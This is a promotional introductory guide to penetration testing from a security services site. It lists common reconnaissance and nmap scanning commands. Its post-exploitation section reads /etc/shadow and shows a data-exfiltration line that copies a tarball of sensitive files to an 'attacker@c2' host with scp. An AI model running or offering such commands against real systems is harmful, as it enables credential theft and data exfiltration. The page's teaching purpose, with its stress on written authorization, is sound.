Penetration Testing Basics

What is Penetration Testing?

Penetration testing, also known as ethical hacking or pentesting, is a simulated cyber attack against your computer system to check for exploitable vulnerabilities. In the context of web application security, penetration testing is commonly used to augment a web application firewall (WAF).

At HackHub.org, our team of security experts has conducted over 200+ penetration tests for enterprises across finance, technology, and government sectors over the past 10 years. This guide represents our accumulated knowledge and battle-tested methodologies.

The Five Phases of Penetration Testing

1. Reconnaissance (Information Gathering)

The first phase involves collecting as much information as possible about the target system. This includes both passive and active reconnaissance techniques.

# DNS enumeration
whois target.com
dig target.com ANY
nslookup -type=any target.com

# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql

# Social media intelligence
theHarvester -d target.com -b all
recon-ng

2. Scanning

Active scanning involves probing the target systems to identify open ports, running services, and potential vulnerabilities.

# Basic port scan
nmap -sV -sC target.com

# Comprehensive scan
nmap -A -p- -T4 target.com

# Vulnerability scan
nmap --script vuln target.com

# Service detection
nmap -sV --version-intensity 9 target.com

3. Gaining Access (Exploitation)

This phase involves exploiting discovered vulnerabilities to gain unauthorized access to the target system.

Common Exploitation Techniques:

• Web Application Exploits: SQL injection, XSS, CSRF, file upload vulnerabilities
• Network Exploits: Buffer overflow, remote code execution, privilege escalation
• Social Engineering: Phishing, pretexting, baiting
• Password Attacks: Brute force, dictionary attacks, credential stuffing

4. Maintaining Access (Post-Exploitation)

After gaining initial access, penetration testers simulate advanced persistent threats (APT) by establishing persistence mechanisms.

# Privilege escalation
sudo -l
cat /etc/shadow
find / -perm -4000 2>/dev/null

# Lateral movement
arp -a
net view
crackmapexec smb 192.168.1.0/24

# Data exfiltration
tar -czf data.tar.gz /sensitive/files
scp data.tar.gz attacker@c2:~/

5. Reporting

The final and crucial phase involves documenting all findings, including vulnerability details, exploitation proof-of-concept, risk ratings, and remediation recommendations.

Essential Report Components:

• Executive Summary: High-level overview for non-technical stakeholders
• Methodology: Testing approach and scope
• Findings: Detailed vulnerability descriptions with CVSS scores
• Evidence: Screenshots, logs, and proof-of-concept code
• Recommendations: Prioritized remediation steps
• Conclusion: Overall security posture assessment

Penetration Testing Methodologies

HackHub's Penetration Testing Services

At HackHub.org, we offer comprehensive penetration testing services backed by our 10 years of expertise and over 50+ security professionals. Our team has successfully identified and helped remediate 10,000+ vulnerabilities for clients worldwide.

Best Practices

• Always get written authorization before starting any penetration test
• Define clear scope and rules of engagement
• Maintain communication with stakeholders throughout the test
• Document everything - every step, finding, and screenshot
• Follow responsible disclosure practices
• Provide actionable recommendations with clear remediation steps

Conclusion

Penetration testing is an essential component of a comprehensive cybersecurity strategy. By simulating real-world attacks, organizations can identify and remediate vulnerabilities before malicious actors exploit them.

Whether you're looking to conduct your own penetration tests or need professional services, HackHub.org is here to help. Contact us at [email protected] or reach out via Telegram for expert consultation.